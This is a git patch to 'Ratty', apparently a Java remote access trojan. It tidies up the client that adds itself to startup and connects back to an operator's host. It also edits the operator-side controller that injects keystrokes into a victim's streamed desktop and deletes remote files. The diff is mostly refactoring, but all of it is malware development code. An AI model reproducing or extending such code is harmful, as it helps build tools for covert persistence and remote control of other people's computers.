From b0e5b63c3f7950feaf453d4f6c9561d33528d5aa Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 5 Feb 2016 20:38:22 +0100 Subject: [PATCH] Major changes Cleanups and fixes --- Ratty/res/connection_data.txt | 6 +++++- Ratty/src/de/sogomn/rat/Ratty.java | 19 ++++--------------- .../de/sogomn/rat/packet/KeyEventPacket.java | 2 -- .../rat/server/gui/RattyGuiController.java | 10 +++++++--- 4 files changed, 16 insertions(+), 21 deletions(-) diff --git a/Ratty/res/connection_data.txt b/Ratty/res/connection_data.txt index 9daf0d2..b88b416 100644 --- a/Ratty/res/connection_data.txt +++ b/Ratty/res/connection_data.txt @@ -1,3 +1,7 @@ localhost 23456 -false \ No newline at end of file +false + +1st line: Address +2nd line: Port +3rd line: True for client; false for server \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 7d82381..02cee9e 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -5,8 +5,6 @@ import java.io.IOException; import java.net.URI; import java.net.URISyntaxException; -import javax.swing.JOptionPane; - import com.alee.laf.WebLookAndFeel; import de.sogomn.engine.util.FileUtils; @@ -39,9 +37,9 @@ public final class Ratty { final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME); if (lines.length >= 3) { - final String addressString = lines[0]; - final String portString = lines[1]; - final String clientString = lines[2]; + final String addressString = lines[0].trim(); + final String portString = lines[1].trim(); + final String clientString = lines[2].trim(); address = addressString; port = Integer.parseInt(portString); @@ -101,16 +99,7 @@ public final class Ratty { addToStartup(); connectToHost(address, port); } else { - final String[] options = {"Server", "Client"}; - final int input = JOptionPane.showOptionDialog(null, "Server or client?", null, JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null); - - if (input == JOptionPane.YES_OPTION) { - System.out.println("Server"); - - startServer(port); - } else if (input == JOptionPane.NO_OPTION) { - connectToHost(address, port); - } + startServer(port); } } diff --git a/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java b/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java index 5eb1007..8ff6bfe 100644 --- a/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java @@ -49,8 +49,6 @@ public final class KeyEventPacket implements IPacket { rob.keyPress(key); rob.keyRelease(key); } - - System.out.println("Yeh"); } catch (final IllegalArgumentException ex) { System.err.println("No valid key code"); } catch (final AWTException ex) { diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index a68b6fb..c25eada 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -32,7 +32,6 @@ import de.sogomn.rat.util.FrameEncoder.IFrame; * THIS CLASS IS A MESS! * I HAVE NO IDEA HOW ONE MAKES NON-MESSY CONTROLLER CLASSES */ - public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController { private RattyGui gui; @@ -71,6 +70,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } private IPacket getPacket(final String command, final ServerClient serverClient) { + final boolean streamingDesktop = serverClient.isStreamingDesktop(); + IPacket packet = null; if (command == RattyGui.POPUP) { @@ -127,12 +128,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve packet = new DeleteFilePacket(path); treePanel.removeFile(path); - } else if (command == DisplayPanel.KEY_PRESSED) { + } else if (command == DisplayPanel.KEY_PRESSED && streamingDesktop) { final DisplayPanel displayPanel = serverClient.getDisplayPanel(); final int key = displayPanel.getLastKeyHit(); packet = new KeyEventPacket(key, KeyEventPacket.PRESS); - } else if (command == DisplayPanel.KEY_RELEASED) { + } else if (command == DisplayPanel.KEY_RELEASED && streamingDesktop) { final DisplayPanel displayPanel = serverClient.getDisplayPanel(); final int key = displayPanel.getLastKeyHit(); @@ -216,6 +217,9 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final ServerClient serverClient = getServerClient(client); final FileTreePanel treePanel = serverClient.getTreePanel(); + serverClient.setStreamingDesktop(false); + serverClient.setController(null); + client.setObserver(null); client.close(); clients.remove(client);